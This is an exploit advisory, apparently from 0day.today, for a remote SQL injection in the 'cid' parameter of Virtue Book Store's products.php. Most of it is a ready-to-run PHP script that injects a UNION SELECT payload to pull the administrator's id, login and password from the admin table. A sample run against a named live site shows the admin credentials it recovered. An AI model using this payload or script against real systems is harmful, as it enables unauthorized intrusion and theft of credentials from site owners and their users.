Virtue Book Store (cid) Remote SQL Injection Vulnerability

==========================================================
Virtue Book Store (cid) Remote SQL Injection Vulnerability
==========================================================


CMS : Online Book Store
WEB  : http://www.virtuenetz.com/book/
Archivo : products.php
Variable Tipo : GET
valor : cid
Tipo : SQL Injection
URL : http://www.site.com/products.php?cid=[SQLI]

Exploit :
<?
$web  = $argv[1];
$url = $web."products.php?cid=8+and+1=0+union+select+all+concat(0x756E646572,id,0x3A,login,0x3A,password,0x736563)+from+admin+limit+0,1";
preg_match_all("/under(.*)sec/",file_get_contents($url),$salida, PREG_PATTERN_ORDER);
$info = explode(":",$salida[1][0]);
echo "ID :".$info[0]."\n";
echo "Usuario : ".$info[1]."\n";
echo "Password : ".$info[2]."\n";
?>

Ejemplo :
[email protected]:~/Escritorio$ php exploit.php http://www.virtuenetz.com/book/

ID :1
Usuario : admin
Password : admin



#  0day.today [2018-02-17]  #